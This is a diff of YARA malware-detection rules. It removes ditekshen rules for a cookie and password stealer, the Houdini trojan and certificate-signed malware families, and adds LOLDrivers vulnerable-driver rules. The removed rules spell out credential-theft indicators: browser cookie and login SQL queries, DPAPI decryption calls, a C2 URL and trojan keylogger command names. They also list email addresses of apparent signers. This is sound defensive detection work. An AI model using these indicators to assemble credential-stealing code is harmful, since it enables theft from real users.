-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "9b1047b8b485fcfa29225f53674050703d32498cfa99654c8ac5f8bfac29878e"
-		score = 75
-		quality = 37
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - VBoxUSB.Sys"
+		author = "Florian Roth"
+		id = "85270071-0faf-5672-9c20-1f8244bf18eb"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L699-L718"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "c509935f3812ad9b363754216561e0a529fc2d5b8e86bfa7302b8d149b7d04aa"
+		logic_hash = "5bf3a4f5e3f674c4f32de55abd9d1981ad0b1fd48fb460905d017096b30ae10e"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$cnc1 = "http://beginpassport.com" ascii wide nocase
-		$cnc2 = "f_dump.php" ascii wide nocase
-		$cnc3 = "c_dump.php" ascii wide nocase
-		$cnc4 = "o_dump.php" ascii wide nocase
-		$db1 = "\\Google\\Chrome\\User Data\\Default\\Cookies" ascii wide nocase
-		$db2 = "\\Mozilla\\Firefox\\Profiles\\*.default" ascii wide nocase
-		$db3 = "\\Opera Software\\Opera Stable\\Cookies" ascii wide nocase
-		$db4 = "$($env:LOCALAPPDATA)\\Google\\Chrome\\User Data\\Default" ascii nocase
-		$db5 = "$($env:APPDATA)\\Mozilla\\Firefox\\Profiles\\*.default" ascii nocase
-		$db6 = "$($env:APPDATA)\\Opera Software\\Opera Stable" ascii nocase
-		$cond1 = "SSID" ascii wide
-		$cond2 = "MSPAuth" ascii wide
-		$cond3 = "\"'T'\"" ascii wide
-		$cond4 = "SNS_AA" ascii wide
-		$cond5 = "X-APPLE-WEBAUTH-TOKEN" ascii wide
-		$sql1 = "SELECT * FROM 'cookies' WHERE host_key LIKE $" ascii wide nocase
-		$sql2 = "SELECT * FROM 'moz_cookies' WHERE host LIKE $" ascii wide nocase
-		$sql3 = "SELECT origin_url, username_value ,password_value FROM 'logins'" ascii nocase
-		$def1 = "Add-Type -AssemblyName System.Security" ascii wide nocase
-		$def2 = "System.Security.SecureString" ascii wide nocase
-		$def3 = "ConvertFrom-SecureString" ascii wide nocase
-		$def4 = "[System.Security.Cryptography.ProtectedData]::Unprotect(" ascii wide nocase
-		$def5 = "[Security.Cryptography.DataProtectionScope]::LocalMachine" ascii wide nocase
-		$def6 = "[Security.Cryptography.DataProtectionScope]::CurrentUser" ascii wide nocase
-		$def7 = "System.Data.SQLite.SQLiteConnection" ascii wide nocase
-		$def8 = "[Environment]::OSVersion.ToString().Replace(\"Microsoft Windows \"," ascii wide nocase
-		$def9 = "Start-Sleep" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]005600690072007400750061006c0042006f007800200055005300420020006400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0069006e006e006f00740065006b00200047006d00620048 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e00300031 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e00300031 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00560042006f0078005500530042002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]005600690072007400750061006c0042006f007800200055005300420020006400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00560042006f0078005500530042002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0069006e006e006f00740065006b00200047006d00620048 }
 
 	condition:
-		(1 of ($cnc*) and any of ($db*) and any of ($cond*) and any of ($sql*) and 7 of ($def*)) or ( all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Houdiniconfig : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Netfiltersys_F171 : FILE
 {
 	meta:
-		description = "Detects Houdini Trojan configurations"
-		author = "ditekshen"
-		id = "e4f974fe-731e-55a8-aa5f-068a1e62f54d"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/back-in-2017"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11618-L11634"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "70a67c9a91d2f82184f1d7a5ea51de911a054dd4e38e2cc36f495ed59219afab"
-		score = 75
-		quality = 75
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - netfilter2.sys"
+		author = "Florian Roth"
+		id = "7572033b-bb49-531f-a14a-decf9a50aab3"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L721-L740"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "f1718a005232d1261894b798a60c73d971416359b70d0e545d7e7a40ed742b71"
+		logic_hash = "2879360aef7b25e7d5ea9e4cbdce9f60a33ca4181ef35e18117e69832589cc73"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "install_name="
-		$s2 = "nick_name="
-		$s3 = "install_folder="
-		$s4 = "reg_startup="
-		$s5 = "startup_folder_startup="
-		$s6 = "task_startup="
-		$s7 = "injection="
-		$s8 = "injection_process"
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00570059004a0053005100200057004600500020004400720069007600650072002000280057005000500029 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]5b8f56fe65e05fe7 }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0035002e0037002e0038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e0032002e0039003200300030002e00320030003500350037 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]65e05fe752a0901f5668 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0065007400660069006c0074006500720032002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9002000770079006a00730071002e0063006f006d }
 
 	condition:
-		( uint16(0)==0x5a4d and 5 of them ) or ( all of them )
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Houdini : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_DD4F : FILE
 {
 	meta:
-		description = "Detects the raw binary of the Houdini Trojan Delphi variant"
-		author = "ditekshen"
-		id = "79681ca3-b956-52d4-81b8-b3bd4c86872a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/back-in-2017"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L11636-L11707"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0580d2525d9d989f98e815dd98b9258724b6e31f058092132c0fbd67cbc5c63c"
-		score = 75
-		quality = 46
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - NICM.sys"
+		author = "Florian Roth"
+		id = "e9506ae9-b5ea-5ed7-a126-1b6070df89d0"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L743-L765"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "dd4fedd5662122cbfe046a12e2137294ef1cb7822238d9e24eacc78f22f8e93d"
+		hash = "904e0f7d485a98e8497d5ec6dd6e6e1cf0b8d8e067fb64a9e09790af3c8c9d5a"
+		hash = "1c2f1e2b0cc4da128feb73a6b9dd040df8495fefe861d69c9f44778c6ddb9b9b"
+		hash = "cf3180f5308af002ac5d6fd5b75d1340878c375f0aebc3157e3bcad6322b7190"
+		hash = "6b71b7f86e41540a82d7750a698e0386b74f52962b879cbb46f17935183cd2c7"
+		logic_hash = "731f87935b48d5fb208b94671a94bed5dfea3f7f6f433fef32cb72c73ce4f8f9"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$hc = "houdiniclient" ascii wide nocase
-		$mk1 = "keylogger_thread" fullword ascii
-		$mk2 = "keyloger_host" fullword ascii
-		$mk3 = "keylogger_port" fullword ascii
-		$mk4 = "keylogger_thread" fullword ascii
-		$mk5 = "keylogger_init" fullword wide
-		$mk6 = "keylogger_stop" fullword wide
-		$mk7 = "keylogger_offline" fullword wide
-		$mk8 = "silence_keylogger" fullword wide
-		$ms1 = "screenshot_thread" fullword ascii
-		$ms2 = "screen_host" fullword ascii
-		$ms3 = "screen_port" fullword ascii
-		$ms4 = "screenshot_init" fullword wide
-		$ms5 = "screenshot_start" fullword wide
-		$ms6 = "screenshot_stop" fullword wide
-		$ms7 = "screen_thumb" fullword wide
-		$ms8 = "silence_screenshot" fullword wide
-		$mf1 = "file_manager_init" fullword wide
-		$mf2 = "file_manager_root" fullword wide
-		$mf3 = "file_manager_faf" fullword wide
-		$mf4 = "file_manager_download" fullword wide
-		$mf5 = "file_manager_upload" fullword wide
-		$mf6 = "file_manager_stop" fullword wide
-		$mf7 = "file_manager_delete_folder" fullword wide
-		$mf8 = "file_manager_rename_folder" fullword wide
-		$mf9 = "file_manager_rename_file" fullword wide
-		$mf10 = "file_manager_delete_file" fullword wide
-		$mf11 = "file_manager_execute_file" fullword wide
-		$mf12 = "file_manager_thumb" fullword wide
-		$mf13 = "file_manager_upload_http" fullword wide
-		$mf14 = "file_manager_upload_tcp" fullword wide
-		$mf15 = "upload_file_tcp" fullword wide
-		$mf16 = "download_file_tcp" fullword wide
-		$mf17 = "upload_file_http" fullword wide
-		$mf18 = "filemanager_host" fullword ascii
-		$mf19 = "filemanager_port" fullword ascii
-		$mf20 = "filemanager_thread" fullword ascii
-		$mp1 = "password_value" fullword wide
-		$mp2 = "password_init" fullword wide
-		$mp3 = "password_stop" fullword wide
-		$mp4 = "password_firefox" fullword wide
-		$mp5 = "password_chrome" fullword wide
-		$mp6 = "password_all" fullword wide
-		$mp7 = "password_host" fullword ascii
-		$mp8 = "password_port" fullword ascii
-		$mp9 = "password_thread" fullword ascii
-		$mm1 = "misc_init" fullword wide
-		$mm2 = "misc_stop" fullword wide
-		$mm3 = "misc_process_list" fullword wide
-		$mm4 = "misc_module_list" fullword wide
-		$mm5 = "misc_process_terminate" fullword wide
-		$mm6 = "misc_host" fullword ascii
-		$mm7 = "misc_port" fullword ascii
-		$mm8 = "misc_thread" fullword ascii
-		$pl1 = "plugin_file_init" fullword wide
-		$pl2 = "plugin_url_init" fullword wide
-		$pl3 = "plugin_stop" fullword wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e0036002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e0036 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000300038002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Bazarloader : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Novellinc_Novellxtier_7627 : FILE
 {
 	meta:
-		description = "Detects Bazar executables with specific email addresses found in the code signing certificate"
-		author = "ditekShen"
-		id = "94b814e3-56c2-5cdb-9335-c92eea8ec668"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L11-L21"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "fd47a1d996c78a6efc144f0fe0a28951c34becab3101e7d25acc980bb6b9f8ce"
-		score = 75
-		quality = 71
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nicm.sys"
+		author = "Florian Roth"
+		id = "ccce2f4d-4cdc-5ea5-a8dd-271f7d7b5482"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L768-L787"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "76276c87617b836dd6f31b73d2bb0e756d4b3d133bddfe169cb4225124ca6bfb"
+		hash = "1e9c236ed39507661ec32731033c4a9b9c97a6221def69200e03685c08e0bfa7"
+		logic_hash = "eba1a04dc1de06122a8bad80399c4233b9c3101f4fcbc805ec7615010da76833"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "skarabeyllc@gmail.com" ascii wide nocase
-		$s2 = "admin@intell-it.ru" ascii wide nocase
-		$s3 = "support@pro-kon.ru" ascii wide
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e006f00760065006c006c00200043006c00690065006e007400200050006f00720074006100620069006c0069007400790020004c0061007900650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e006f00760065006c006c002c00200049006e0063002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0033002e0031002e00310030002e0030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0033002e0031002e00310030 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e006f00760065006c006c002000580054006900650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]004e00490043004d002e005300590053 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]00280043002900200043006f007000790072006900670068007400200032003000300030002d0032003000310032002c0020004e006f00760065006c006c002c00200049006e0063002e00200041006c006c0020005200690067006800740073002000520065007300650072007600650064002e }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Qakbot : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Nvidiacorp_Nvoclocksys_Nvidiasystemutilitydriver_16AE : FILE
 {
 	meta:
-		description = "Detects QakBot executables with specific email addresses found in the code signing certificate"
-		author = "ditekShen"
-		id = "24ad36b2-5022-5f72-b01c-fbb64da20f34"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L23-L37"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7a38069b3b553cba1a789dac706638382dae5bb748b0c10ef50138879767b6dd"
-		score = 75
-		quality = 61
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - nvoclock.sys"
+		author = "Florian Roth"
+		id = "0c0b8367-fb93-5f0c-8fac-28bd19c20166"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L790-L810"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "16ae28284c09839900b99c0bdf6ce4ffcd7fe666cfd5cfb0d54a3ad9bea9aa9c"
+		hash = "d54ac69c438ba77cde88c6efd6a423491996d4e8a235666644b1db954eb1da9c"
+		logic_hash = "4c4359af17cfc03947722c644064fa2e2bacc5adcbd66499bfba4aa483ac56f6"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "hutter.s94@yahoo.com" ascii wide nocase
-		$s2 = "andrej.vrear@aol.com" ascii wide nocase
-		$s3 = "klaus.pedersen@aol.com" ascii wide nocase
-		$s4 = "a.spendl@aol.com" ascii wide nocase
-		$s5 = "mjemec@aol.com" ascii wide nocase
-		$s6 = "robert.sijanec@yahoo.com" ascii wide nocase
-		$s7 = "mitja.vidovi@aol.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]004e0056006900640069006100200043006f00720070002e }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0036002e00300032002e00310035 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0036002e00300032002e00310035 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]004e00560069006400690061002000530079007300740065006d0020005500740069006c0069007400790020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]006e0076006f0063006c006f0063006b002e007300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f0070007900720069006700680074002000a9004e0056004900440049004100200043006f00720070002e00200032003000300033002d0032003000300034 }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Amadey : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Computerz_Computerzsys_Computerzsystemdriver_61F3 : FILE
 {
 	meta:
-		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
-		author = "ditekShen"
-		id = "f9abbf1d-2077-52a8-bfb0-df3732649624"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L39-L47"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "3df3fe67835f76e51743b1b4fa2cbc48277d82689c2fc27457b4d7d820e56e43"
-		score = 75
-		quality = 73
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - ComputerZ.Sys"
+		author = "Florian Roth"
+		id = "ca51c99d-79fe-57b3-9832-adfb2d1d59d4"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L813-L832"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "61f3b1c026d203ce94fab514e3d15090222c0eedc2a768cc2d073ec658671874"
+		logic_hash = "73d2e39a2e1d9810f5f0999a8f79a238a36305d36db731a3e84859e6d15bfdd8"
+		score = 40
+		quality = 80
 		tags = "FILE"
 
 	strings:
-		$s1 = "tochka.director@gmail.com" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]0043006f006d00700075007400650072005a002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0043006f006d00700075007400650072005a }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]0031002e0030002e0038002e003800310038 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]0031002e0030002e0038002e003800310038 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]0043006f006d00700075007400650072005a002000530079007300740065006d0020004400720069007600650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]0043006f006d00700075007400650072005a002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020003200300030003800200043006f006d00700075007400650072005a }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_UNK01 : FILE
+rule LOLDRIVERS_PUA_VULN_Driver_Sysinternalswwwsysinternalscom_Procexpsys_Processexplorer_88E2 : FILE
 {
 	meta:
-		description = "Detects Amadey executables with specific email addresses found in the code signing certificate"
-		author = "ditekShen"
-		id = "56e83bfb-e17d-5d27-87fa-e275cc540148"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L49-L58"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d85461f74186fcabcbf7f2bc1dce06b0012c504cf3235a6fc3e1499dc6f8a3ee"
-		score = 75
-		quality = 73
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - procexp.Sys"
+		author = "Florian Roth"
+		id = "e6f3c13e-0cec-5430-beeb-fc980dd29887"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L835-L864"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "88e2e6a705d3fb71b966d9fb46dc5a4b015548daf585fb54dfcd81dc0bd3ebdc"
+		hash = "f29073dc99cb52fa890aae80037b48a172138f112474a1aecddae21179c93478"
+		hash = "89b9823ed974a5b71de8468324d45b7e9d6dc914f93615ba86c6209b25b3cbf7"
+		hash = "3503ea284b6819f9cb43b3e94c0bb1bf5945ccb37be6a898387e215197a4792a"
+		hash = "d6827cd3a8f273a66ecc33bb915df6c7dea5cc1b8134b0c348303ef50db33476"
+		hash = "e07211224b02aaf68a5e4b73fc1049376623793509d9581cdaee9e601020af06"
+		hash = "c089a31ac95d41ed02d1e4574962f53376b36a9e60ff87769d221dc7d1a3ecfa"
+		hash = "6e944ae1bfe43a8a7cd2ea65e518a30172ce8f31223bdfd39701b2cb41d8a9e7"
+		hash = "59b09bd69923c0b3de3239e73205b1846a5f69043546d471b259887bb141d879"
+		hash = "e3f2ee22dec15061919583e4beb8abb3b29b283e2bcb46badf2bfde65f5ea8dd"
+		hash = "9d5ebd0f4585ec20a5fe3c5276df13ece5a2645d3d6f70cedcda979bd1248fc2"
+		logic_hash = "bd5ecf74e339330abb48c31bf14ea7cdfbacc93fa6c60debb435249f88a4408a"
+		score = 40
+		quality = 80
 		tags = "FILE"
-		hash1 = "37d08a64868c35c5bae8f5155cc669486590951ea80dd9da61ec38defb89a146"
 
 	strings:
-		$s1 = "etienne@tetracerous.br" ascii wide nocase
+		$ = { 00460069006c0065004400650073006300720069007000740069006f006e[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 0043006f006d00700061006e0079004e0061006d0065[1-8]0053007900730069006e007400650072006e0061006c00730020002d0020007700770077002e0073007900730069006e007400650072006e0061006c0073002e0063006f006d }
+		$ = { 00460069006c006500560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 00500072006f006400750063007400560065007200730069006f006e[1-8]00310035002e00300030 }
+		$ = { 0049006e007400650072006e0061006c004e0061006d0065[1-8]00700072006f0063006500780070002e007300790073 }
+		$ = { 00500072006f0064007500630074004e0061006d0065[1-8]00500072006f00630065007300730020004500780070006c006f007200650072 }
+		$ = { 004f0072006900670069006e0061006c00460069006c0065006e0061006d0065[1-8]00700072006f0063006500780070002e005300790073 }
+		$ = { 004c006500670061006c0043006f0070007900720069006700680074[1-8]0043006f007000790072006900670068007400200028004300290020004d00610072006b002000520075007300730069006e006f007600690063006800200031003900390036002d0032003000310034 }
 
 	condition:
-		uint16(0)==0x5a4d and any of them
+		uint16(0)==0x5a4d and filesize <100KB and all of them
 }
-rule DITEKSHEN_INDICATOR_KB_ID_Ransomware_Lockergoga
+rule LOLDRIVERS_PUA_VULN_Driver_Windowsrwinddkprovider_Cpuzsys_Windowsrwinddkdriver_1F4D : FILE
 {
 	meta:
-		description = "Detects files referencing identities associated with LockerGoga ransomware"
-		author = "ditekShen"
-		id = "ff257dae-d09b-52b3-93ca-68a560231b0d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_id.yar#L60-L80"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f3474f92d935dda0d4c3b11b6934aede69ed949c8ba4d196bfe320476d39ac36"
-		score = 75
-		quality = 49
-		tags = ""
+		description = "Detects vulnerable driver mentioned in LOLDrivers project using VersionInfo values from the PE header - cpuz.sys"
+		author = "Florian Roth"
+		id = "145b846a-8721-5a56-aa76-6d7d5dd16562"
+		date = "2024-08-07"
+		modified = "2024-08-07"
+		reference = "https://github.com/magicsword-io/LOLDrivers"
+		source_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/detections/yara/yara-rules_vuln_drivers_strict.yar#L867-L897"
+		license_url = "https://github.com/magicsword-io/LOLDrivers//blob/9d66da6a16ea11fe98443fe150bb3703126ec74c/LICENSE"
+		hash = "1f4d4db4abe26e765a33afb2501ac134d14cadeaa74ae8a0fae420e4ecf58e0c"
+		hash = "c3e150eb7e7292f70299d3054ed429156a4c32b1f7466a706a2b99249022979e"
+		hash = "922d23999a59ce0d84b479170fd265650bc7fae9e7d41bf550d8597f472a3832"
+		hash = "c673f2eed5d0eed307a67119d20a91c8818a53a3cb616e2984876b07e5c62547"
+		hash = "c7f64b27cd3be5af1c8454680529ea493dfbb09e634eec7e316445ad73499ae0"
+		hash = "2a9d481ffdc5c1e2cb50cf078be32be06b21f6e2b38e90e008edfc8c4f2a9c4e"
+		hash = "8688e43d94b41eeca2ed458b8fc0d02f74696a918e375ecd3842d8627e7a8f2b"
+		hash = "592f56b13e7dcaa285da64a0b9a48be7562bd9b0a190208b7c8b7d8de427cf6c"
+		hash = "4d19ee789e101e5a76834fb411aadf8229f08b3ece671343ad57a6576a525036"
+		hash = "b7aa4c17afdaff1603ef9b5cc8981bed535555f8185b59d5ae13f342f27ca6c5"
+		hash = "65deb5dca18ee846e7272894f74d84d9391bbe260c22f24a65ab37d48bd85377"
+		hash = "60b163776e7b95e0c2280d04476304d0c943b484909131f340e3ce6045a49289"
+		logic_hash = "2ca64f822a558d25fc885da4fc79c80d4ed9c473179db3343958af0e1f21e0e8"
+		score = 40
+		quality = 80
+		tags = "FILE"
 
 	strings:
-		$s1 = "abbschevis@protonmail.com" nocase ascii wide
-		$s2 = "aperywsqaroci@o2.pl" nocase ascii wide
-		$s3 = "asuxidoruraep1999@o2.pl" nocase ascii wide
-		$s4 = "dharmaparrack@protonmail.com" nocase ascii wide
-		$s5 = "ijuqodisunovib98@o2.pl" nocase ascii wide
-		$s6 = "mayarchenot@protonmail.com" nocase ascii wide
-		$s7 = "mikllimiteds@gmail.com0" nocase ascii wide
-		$s8 = "phanthavongsaneveyah@protonmail.com" nocase ascii wide
-		$s9 = "qicifomuejijika@o2.pl" nocase ascii wide
-		$s10 = "rezawyreedipi1998@o2.pl" nocase ascii wide
